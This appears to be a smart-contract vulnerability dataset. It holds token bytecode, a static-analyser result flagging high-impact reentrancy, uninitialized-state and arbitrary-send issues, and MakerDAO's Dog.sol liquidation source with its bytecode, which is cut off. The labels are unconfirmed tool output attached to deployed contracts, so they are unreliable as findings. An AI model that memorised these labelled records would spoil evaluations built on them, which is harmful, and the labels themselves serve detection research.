ffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e690612e64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690612da4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163d9190612ea4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b190612e44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561172a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172190612d64565b60405180910390fd5b6000811161176d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176490612e24565b60405180910390fd5b6000600a81905550600d54600b81905550611786610b07565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f457506117c4610b07565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119515750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bf5750601160179054906101000a900460ff165b15611a6f576012548111156119d357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1e57600080fd5b602842611a2b9190612fda565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b1a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b87576000600a81905550600c54600b819055505b6000611b9230610963565b9050601160159054906101000a900460ff16158015611bff5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c175750601160169054906101000a900460ff165b15611c3f57611c2581611d8f565b60004790506000811115611c3d57611c3c47611cb5565b5b505b505b611c4c83838361207a565b505050565b6000838311158290611c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c909190612d42565b60405180910390fd5b5060008385611ca891906130bb565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d1d573d6000803e3d6000fd5b5050565b6000600854821115611d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5f90612d84565b60405180910390fd5b6000611d7261208a565b9050611d87818461142d90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dc757611dc6613290565b5b604051908082528060200260200182016040528015611df55781602001602082028036833780820191505090505b5090503081600081518110611e0d57611e0c613261565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eaf57600080fd5b505afa158015611ec3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee791906127cf565b81600181518110611efb57611efa613261565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fc6959493929190612ebf565b600060405180830381600087803b158015611fe057600080fd5b505af1158015611ff4573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808311829061205e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120559190612d42565b60405180910390fd5b506000838561206d9190613030565b9050809150509392505050565b6120858383836120b5565b505050565b6000806000612097612280565b915091506120ae818361142d90919063ffffffff16565b9250505090565b6000806000806000806120c7876122e5565b95509550955095509550955061212586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ba85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612206816123f5565b61221084836124b2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161226d9190612ea4565b60405180910390a3505050505050505050565b60008060006008549050600069d3c21bcecceda100000090506122b869d3c21bcecceda100000060085461142d90919063ffffffff16565b8210156122d85760085469d3c21bcecceda10000009350935050506122e1565b81819350935050505b9091565b60008060008060008060008060006123028a600a54600b546124ec565b925092509250600061231261208a565b905060008060006123258e878787612582565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061238f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c51565b905092915050565b60008082846123a69190612fda565b9050838110156123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e290612dc4565b60405180910390fd5b8091505092915050565b60006123ff61208a565b90506000612416828461260b90919063ffffffff16565b905061246a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6124c78260085461234d90919063ffffffff16565b6008819055506124e28160095461239790919063ffffffff16565b6009819055505050565b600080600080612518606461250a888a61260b90919063ffffffff16565b61142d90919063ffffffff16565b905060006125426064612534888b61260b90919063ffffffff16565b61142d90919063ffffffff16565b9050600061256b8261255d858c61234d90919063ffffffff16565b61234d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061259b858961260b90919063ffffffff16565b905060006125b2868961260b90919063ffffffff16565b905060006125c9878961260b90919063ffffffff16565b905060006125f2826125e4858761234d90919063ffffffff16565b61234d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561261e5760009050612680565b6000828461262c9190613061565b905082848261263b9190613030565b1461267b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267290612de4565b60405180910390fd5b809150505b92915050565b600061269961269484612f59565b612f34565b905080838252602082019050828560208602820111156126bc576126bb6132c4565b5b60005b858110156126ec57816126d288826126f6565b8452602084019350602083019250506001810190506126bf565b5050509392505050565b60008135905061270581613588565b92915050565b60008151905061271a81613588565b92915050565b600082601f830112612735576127346132bf565b5b8135612745848260208601612686565b91505092915050565b60008135905061275d8161359f565b92915050565b6000815190506127728161359f565b92915050565b600081359050612787816135b6565b92915050565b60008151905061279c816135b6565b92915050565b6000602082840312156127b8576127b76132ce565b5b60006127c6848285016126f6565b91505092915050565b6000602082840312156127e5576127e46132ce565b5b60006127f38482850161270b565b91505092915050565b60008060408385031215612813576128126132ce565b5b6000612821858286016126f6565b9250506020612832858286016126f6565b9150509250929050565b600080600060608486031215612855576128546132ce565b5b6000612863868287016126f6565b9350506020612874868287016126f6565b925050604061288586828701612778565b9150509250925092565b600080604083850312156128a6576128a56132ce565b5b60006128b4858286016126f6565b92505060206128c585828601612778565b9150509250929050565b6000602082840312156128e5576128e46132ce565b5b600082013567ffffffffffffffff811115612903576129026132c9565b5b61290f84828501612720565b91505092915050565b60006020828403121561292e5761292d6132ce565b5b600061293c8482850161274e565b91505092915050565b60006020828403121561295b5761295a6132ce565b5b600061296984828501612763565b91505092915050565b600060208284031215612988576129876132ce565b5b600061299684828501612778565b91505092915050565b6000806000606084860312156129b8576129b76132ce565b5b60006129c68682870161278d565b93505060206129d78682870161278d565b92505060406129e88682870161278d565b9150509250925092565b60006129fe8383612a0a565b60208301905092915050565b612a13816130ef565b82525050565b612a22816130ef565b82525050565b6000612a3382612f95565b612a3d8185612fb8565b9350612a4883612f85565b8060005b83811015612a79578151612a6088826129f2565b9750612a6b83612fab565b925050600181019050612a4c565b5085935050505092915050565b612a8f81613101565b82525050565b612a9e81613144565b82525050565b6000612aaf82612fa0565b612ab98185612fc9565b9350612ac9818560208601613156565b612ad2816132d3565b840191505092915050565b6000612aea602383612fc9565b9150612af5826132e4565b604082019050919050565b6000612b0d602a83612fc9565b9150612b1882613333565b604082019050919050565b6000612b30602283612fc9565b9150612b3b82613382565b604082019050919050565b6000612b53601b83612fc9565b9150612b5e826133d1565b602082019050919050565b6000612b76602183612fc9565b9150612b81826133fa565b604082019050919050565b6000612b99602083612fc9565b9150612ba482613449565b602082019050919050565b6000612bbc602983612fc9565b9150612bc782613472565b604082019050919050565b6000612bdf602583612fc9565b9150612bea826134c1565b604082019050919050565b6000612c02602483612fc9565b9150612c0d82613510565b604082019050919050565b6000612c25601783612fc9565b9150612c308261355f565b602082019050919050565b612c448161312d565b82525050565b612c5381613137565b82525050565b6000602082019050612c6e6000830184612a19565b92915050565b6000604082019050612c896000830185612a19565b612c966020830184612a19565b9392505050565b6000604082019050612cb26000830185612a19565b612cbf6020830184612c3b565b9392505050565b600060c082019050612cdb6000830189612a19565b612ce86020830188612c3b565b612cf56040830187612a95565b612d026060830186612a95565b612d0f6080830185612a19565b612d1c60a0830184612c3b565b979650505050505050565b6000602082019050612d3c6000830184612a86565b92915050565b60006020820190508181036000830152612d5c8184612aa4565b905092915050565b60006020820190508181036000830152612d7d81612add565b9050919050565b60006020820190508181036000830152612d9d81612b00565b9050919050565b60006020820190508181036000830152612dbd81612b23565b9050919050565b60006020820190508181036000830152612ddd81612b46565b9050919050565b60006020820190508181036000830152612dfd81612b69565b9050919050565b60006020820190508181036000830152612e1d81612b8c565b9050919050565b60006020820190508181036000830152612e3d81612baf565b9050919050565b60006020820190508181036000830152612e5d81612bd2565b9050919050565b60006020820190508181036000830152612e7d81612bf5565b9050919050565b60006020820190508181036000830152612e9d81612c18565b9050919050565b6000602082019050612eb96000830184612c3b565b92915050565b600060a082019050612ed46000830188612c3b565b612ee16020830187612a95565b8181036040830152612ef38186612a28565b9050612f026060830185612a19565b612f0f6080830184612c3b565b9695505050505050565b6000602082019050612f2e6000830184612c4a565b92915050565b6000612f3e612f4f565b9050612f4a8282613189565b919050565b6000604051905090565b600067ffffffffffffffff821115612f7457612f73613290565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612fe58261312d565b9150612ff08361312d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561302557613024613203565b5b828201905092915050565b600061303b8261312d565b91506130468361312d565b92508261305657613055613232565b5b828204905092915050565b600061306c8261312d565b91506130778361312d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130b0576130af613203565b5b828202905092915050565b60006130c68261312d565b91506130d18361312d565b9250828210156130e4576130e3613203565b5b828203905092915050565b60006130fa8261310d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061314f8261312d565b9050919050565b60005b83811015613174578082015181840152602081019050613159565b83811115613183576000848401525b50505050565b613192826132d3565b810181811067ffffffffffffffff821117156131b1576131b0613290565b5b80604052505050565b60006131c58261312d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131f8576131f7613203565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613591816130ef565b811461359c57600080fd5b50565b6135a881613101565b81146135b357600080fd5b50565b6135bf8161312d565b81146135ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220959822ebf9916fceeefa49687e1fbceacef8eabcaab7413397dc6bf55de4c38864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,513
0x135954d155898D42C90D2a57824C690e0c7BEf1B
/** *Submitted for verification at Etherscan.io on 2021-04-16 */ // SPDX-License-Identifier: AGPL-3.0-or-later /// dog.sol -- Dai liquidation module 2.0 // Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity >=0.6.12; interface ClipperLike { function ilk() external view returns (bytes32); function kick( uint256 tab, uint256 lot, address usr, address kpr ) external returns (uint256); } interface VatLike { function ilks(bytes32) external view returns ( uint256 Art, // [wad] uint256 rate, // [ray] uint256 spot, // [ray] uint256 line, // [rad] uint256 dust // [rad] ); function urns(bytes32,address) external view returns ( uint256 ink, // [wad] uint256 art // [wad] ); function grab(bytes32,address,address,address,int256,int256) external; function hope(address) external; function nope(address) external; } interface VowLike { function fess(uint256) external; } contract Dog { // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external auth { wards[usr] = 1; emit Rely(usr); } function deny(address usr) external auth { wards[usr] = 0; emit Deny(usr); } modifier auth { require(wards[msg.sender] == 1, "Dog/not-authorized"); _; } // --- Data --- struct Ilk { address clip; // Liquidator uint256 chop; // Liquidation Penalty [wad] uint256 hole; // Max DAI needed to cover debt+fees of active auctions per ilk [rad] uint256 dirt; // Amt DAI needed to cover debt+fees of active auctions per ilk [rad] } VatLike immutable public vat; // CDP Engine mapping (bytes32 => Ilk) public ilks; VowLike public vow; // Debt Engine uint256 public live; // Active Flag uint256 public Hole; // Max DAI needed to cover debt+fees of active auctions [rad] uint256 public Dirt; // Amt DAI needed to cover debt+fees of active auctions [rad] // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event File(bytes32 indexed what, uint256 data); event File(bytes32 indexed what, address data); event File(bytes32 indexed ilk, bytes32 indexed what, uint256 data); event File(bytes32 indexed ilk, bytes32 indexed what, address clip); event Bark( bytes32 indexed ilk, address indexed urn, uint256 ink, uint256 art, uint256 due, address clip, uint256 indexed id ); event Digs(bytes32 indexed ilk, uint256 rad); event Cage(); // --- Init --- constructor(address vat_) public { vat = VatLike(vat_); live = 1; wards[msg.sender] = 1; emit Rely(msg.sender); } // --- Math --- uint256 constant WAD = 10 ** 18; function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x <= y ? x : y; } function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } // --- Administration --- function file(bytes32 what, address data) external auth { if (what == "vow") vow = VowLike(data); else revert("Dog/file-unrecognized-param"); emit File(what, data); } function file(bytes32 what, uint256 data) external auth { if (what == "Hole") Hole = data; else revert("Dog/file-unrecognized-param"); emit File(what, data); } function file(bytes32 ilk, bytes32 what, uint256 data) external auth { if (what == "chop") { require(data >= WAD, "Dog/file-chop-lt-WAD"); ilks[ilk].chop = data; } else if (what == "hole") ilks[ilk].hole = data; else revert("Dog/file-unrecognized-param"); emit File(ilk, what, data); } function file(bytes32 ilk, bytes32 what, address clip) external auth { if (what == "clip") { require(ilk == ClipperLike(clip).ilk(), "Dog/file-ilk-neq-clip.ilk"); ilks[ilk].clip = clip; } else revert("Dog/file-unrecognized-param"); emit File(ilk, what, clip); } function chop(bytes32 ilk) external view returns (uint256) { return ilks[ilk].chop; } // --- CDP Liquidation: all bark and no bite --- // // Liquidate a Vault and start a Dutch auction to sell its collateral for DAI. // // The third argument is the address that will receive the liquidation reward, if any. // // The entire Vault will be liquidated except when the target amount of DAI to be raised in // the resulting auction (debt of Vault + liquidation penalty) causes either Dirt to exceed // Hole or ilk.dirt to exceed ilk.hole by an economically significant amount. In that // case, a partial liquidation is performed to respect the global and per-ilk limits on // outstanding DAI target. The one exception is if the resulting auction would likely // have too little collateral to be interesting to Keepers (debt taken from Vault < ilk.dust), // in which case the function reverts. Please refer to the code and comments within if // more detail is desired. function bark(bytes32 ilk, address urn, address kpr) external returns (uint256 id) { require(live == 1, "Dog/not-live"); (uint256 ink, uint256 art) = vat.urns(ilk, urn); Ilk memory milk = ilks[ilk]; uint256 dart; uint256 rate; uint256 dust; { uint256 spot; (,rate, spot,, dust) = vat.ilks(ilk); require(spot > 0 && mul(ink, spot) < mul(art, rate), "Dog/not-unsafe"); // Get the minimum value between: // 1) Remaining space in the general Hole // 2) Remaining space in the collateral hole require(Hole > Dirt && milk.hole > milk.dirt, "Dog/liquidation-limit-hit"); uint256 room = min(Hole - Dirt, milk.hole - milk.dirt); // uint256.max()/(RAD*WAD) = 115,792,089,237,316 dart = min(art, mul(room, WAD) / rate / milk.chop); // Partial liquidation edge case logic if (art > dart) { if (mul(art - dart, rate) < dust) { // If the leftover Vault would be dusty, just liquidate it entirely. // This will result in at least one of dirt_i > hole_i or Dirt > Hole becoming true. // The amount of excess will be bounded above by ceiling(dust_i * chop_i / WAD). // This deviation is assumed to be small compared to both hole_i and Hole, so that // the extra amount of target DAI over the limits intended is not of economic concern. dart = art; } else { // In a partial liquidation, the resulting auction should also be non-dusty. require(mul(dart, rate) >= dust, "Dog/dusty-auction-from-partial-liquidation"); } } } uint256 dink = mul(ink, dart) / art; require(dink > 0, "Dog/null-auction"); require(dart <= 2**255 && dink <= 2**255, "Dog/overflow"); vat.grab( ilk, urn, milk.clip, address(vow), -int256(dink), -int256(dart) ); uint256 due = mul(dart, rate); vow.fess(due); { // Avoid stack too deep // This calcuation will overflow if dart*rate exceeds ~10^14 uint256 tab = mul(due, milk.chop) / WAD; Dirt = add(Dirt, tab); ilks[ilk].dirt = add(milk.dirt, tab); id = ClipperLike(milk.clip).kick({ tab: tab, lot: dink, usr: urn, kpr: kpr }); } emit Bark(ilk, urn, dink, dart, due, milk.clip, id); } function digs(bytes32 ilk, uint256 rad) external auth { Dirt = sub(Dirt, rad); ilks[ilk].dirt = sub(ilks[ilk].dirt, rad); emit Digs(ilk, rad); } function cage() external auth { live = 0; emit Cage(); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063af7cfeb1116100a2578063d792653811610071578063d79265381461039e578063d9638d36146103e0578063ebecb39d1461044d578063ed998908146104a5578063eda6e121146105275761010b565b8063af7cfeb1146102a2578063bf353dbb146102c0578063c87193f414610318578063d4e8be83146103505761010b565b806365fae35e116100de57806365fae35e146101f25780636924500914610236578063957aa58c146102405780639c52a7f11461025e5761010b565b80631a0b287e1461011057806329ae81141461015257806336569e771461018a578063626cb3c5146101be575b600080fd5b6101506004803603606081101561012657600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610545565b005b6101886004803603604081101561016857600080fd5b8101908080359060200190929190803590602001909291905050506107b4565b005b610192610946565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c661096a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b005b61023e610ace565b005b610248610bb8565b6040518082815260200191505060405180910390f35b6102a06004803603602081101561027457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bbe565b005b6102aa610cfc565b6040518082815260200191505060405180910390f35b610302600480360360208110156102d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b61034e6004803603604081101561032e57600080fd5b810190808035906020019092919080359060200190929190505050610d1a565b005b61039c6004803603604081101561036657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e56565b005b6103ca600480360360208110156103b457600080fd5b8101908080359060200190929190505050611038565b6040518082815260200191505060405180910390f35b61040c600480360360208110156103f657600080fd5b8101908080359060200190929190505050611058565b604051808573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6104a36004803603606081101561046357600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a8565b005b610511600480360360608110156104bb57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611395565b6040518082815260200191505060405180910390f35b61052f611d3d565b6040518082815260200191505060405180910390f35b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b7f63686f70000000000000000000000000000000000000000000000000000000008214156106bf57670de0b6b3a764000081101561069f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f446f672f66696c652d63686f702d6c742d57414400000000000000000000000081525060200191505060405180910390fd5b806001600085815260200190815260200160002060010181905550610776565b7f686f6c650000000000000000000000000000000000000000000000000000000082141561070757806001600085815260200190815260200160002060020181905550610775565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f446f672f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b5b81837f851aa1caf4888170ad8875449d18f0f512fd6deb2a6571ea1a41fb9f95acbcd1836040518082815260200191505060405180910390a3505050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610868576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b7f486f6c650000000000000000000000000000000000000000000000000000000082141561089c578060048190555061090a565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f446f672f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b817fe986e40cc8c151830d4f61050f4fb2e4add8567caad2d5f5496f9158e91fe4c7826040518082815260200191505060405180910390a25050565b7f00000000000000000000000035d1b3f3d7966a1dfe207aa4514c12a259a0492b81565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60006003819055507f2308ed18a14e800c39b86eb6ea43270105955ca385b603b64eca89f98ae8fbda60405160405180910390a1565b60035481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b60045481565b60006020528060005260406000206000915090505481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610dce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b610dda60055482611d43565b600581905550610e00600160008481526020019081526020016000206003015482611d43565b6001600084815260200190815260200160002060030181905550817f54f095dc7308776bf01e8580e4dd40fd959ea4bf50b069975768320ef8d77d8a826040518082815260200191505060405180910390a25050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b7f766f770000000000000000000000000000000000000000000000000000000000821415610f785780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fe6565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f446f672f66696c652d756e7265636f676e697a65642d706172616d000000000081525060200191505060405180910390fd5b817f8fef588b5fc1afbf5b2f06c1a435d513f208da2e6704c3d8f0e0ec91167066ba82604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a25050565b600060016000838152602001908152602001600020600101549050919050565b60016020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154905084565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461115c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f446f672f6e6f742d617574686f72697a6564000000000000000000000000000081525060200191505060405180910390fd5b7f636c6970000000000000000000000000000000000000000000000000000000008214156112d3578073ffffffffffffffffffffffffffffffffffffffff1663c5ce281e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156111ca57600080fd5b505afa1580156111de573d6000803e3d6000fd5b5